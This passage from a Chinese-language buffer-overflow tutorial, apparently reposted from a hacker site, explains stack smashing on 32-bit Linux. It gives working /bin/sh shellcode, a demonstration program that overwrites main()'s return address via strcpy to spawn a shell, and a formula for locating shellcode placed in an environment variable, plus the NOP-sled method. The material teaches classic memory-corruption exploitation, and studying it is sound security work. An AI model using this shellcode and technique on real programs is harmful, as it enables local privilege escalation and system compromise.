缓冲区溢出解密(三)
嗯,它生效了。上面我们所做的是,增加ret的地址2个双字(8字节),因而就到了main()的返回地址存储的内存位置。接着,因为ret相应的地址现在是RET,我们把字符串sc(就是我们的攻击代码)的地址存到ret。实际上,我们在这里改变了返回地址的值,而这个返回地址就指向了sc[]。当main()发送RET时,sc的地址写到EIP中了,接着,CPU开始在这执行指令,造成了/bin/sh的执行。
写本地缓冲区溢出漏洞利用程序
现在,让我们看看下面的程序:
victim.c : char sc[]= "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; char large_str[50]; void main() { int i; char foo[12]; int *ap = (int *)large_str; for (i = 0; i < 50; i += 4) *ap++ = sc; strcpy(foo, large_str); } [murat@victim newsc]$ make victim cc victim.c -o victim [murat@victim newsc]$ ./victim bash$
瞧!就是它了!我们做了什么?在for循环里面,我们拷贝了我们的shellcode字符串的地址。由于地址是32位(4字节),我们以4为步长增加i。接着,在main()里,当我们把有我们shellcode地址的large_str拷到实际只能容纳12字节的foo,strcpy没有边界检查,而且一直拷贝到main的返回地址。接着,当strcpy指令发送到RET,我们shellcode的地址已经被POP进去了,而且放入了EIP。接着它就被执行了。这里有一件事是:strcpy没有溢出它的缓冲区,它溢出了main()的缓冲区,因此覆盖了main()的返回地址。我们的shell在main()返回的时候开始,而不是strcpy返回的时候。
上面的victim.c是我们的程序。我们知道我们的shellcode跳转的地址。如果我们要求利用另外程序的缓冲区又该如何去做呢?我们不能预先知道内存的布局,不是吗?这也意味着我们不知道我们的shellcode的地址。我们现在该怎么做呢?首先,我们必须用某些途径把shellcode植入到有弱点的程序,而且无论怎样我们必须得到shellcode的地址。当我们谈论本地漏洞利用时,有两种方法。
1.如Aleph1的著名文章”Smashing the Stack for Fun and Profit”所介绍的,我们把我们的shellcode放置到有缺陷程序的缓冲区,而且尝试着猜测到我们漏洞利用程序的ESP偏移量。2.这第二个方式更加简单和聪明。通过这种方法,我们能知道我们shellcode的地址!这真是太好了!怎么做?看这个:如果你在一个linux ELF二进制文件第一次装入内存的时候通过gdb看它的高位地址,你将看到象这样的一些东西:
--------------------- 0xBFFFFFFF |\000 \000 \000 \000| 0xBFFFFFFB (4 NULL byte) |\000 ...... | 0xBFFFFFFA (program_name) | ..................| |...................| n. environment variable (env[n]) |...................| n-1. environment variable (env[n-1]) |...................| ... |...................| 1. environment variable (env[0]) |...................| ... |...................| n. argument string (argv[n]) |...................| n-1. argument string (argv[n-1]) |...................| ... | . | | . | | . |
看上面的图,我们都会同意我们能计算最后一个环境变量地址。它是:
envp = 0xBFFFFFFF - 4 - (4 NULL bytes) strlen(program_name) - (program_names''s length - without the leading NULL). 1 - (NULL which strlen did not count above) strlen(envp[n])) (the length of last environment string)
除去一些不必要的计算,这里是最终的结果:
envp = 0xBFFFFFFA - strlen(prog_name) - strlen(envp[n])
你还记得我们给execve提供一个环境指针吗?这有没有让你想起什么?对了,我们可以通过这个环境指针把我们的shellcode传给漏洞程序,并且计算它的地址。这意味着我们完全知道我们需要写什么地址到漏洞缓冲区。
计算我们的shellcode 地址的公式:
ret = 0xBFFFFFFA - strlen(prog_name) - strlen(sc);
至于Aleph1在他的文章中讨论的在外面被广泛使用的方法,多少有点比我们的环境变量技术难得多。关于细节你们可以看Aleph1的文章,Smashing the Stack for Fun and Profit。
一般来说,在这个方法中,我们把”NOP”指令(NOP)放在缓冲区的开始。NOP之后,我们放置我们的shellcode,接着是这个shellcode的地址。
如我前面所说的,既然我们不知道我们shellcode的准确地址,我们在缓冲区开头填一些NOP指令增加我们跳到我们的shellcode附近一些位置的可能性.
http://www.cnxhacker.com/Article/hacker/study/200611/6466_2.html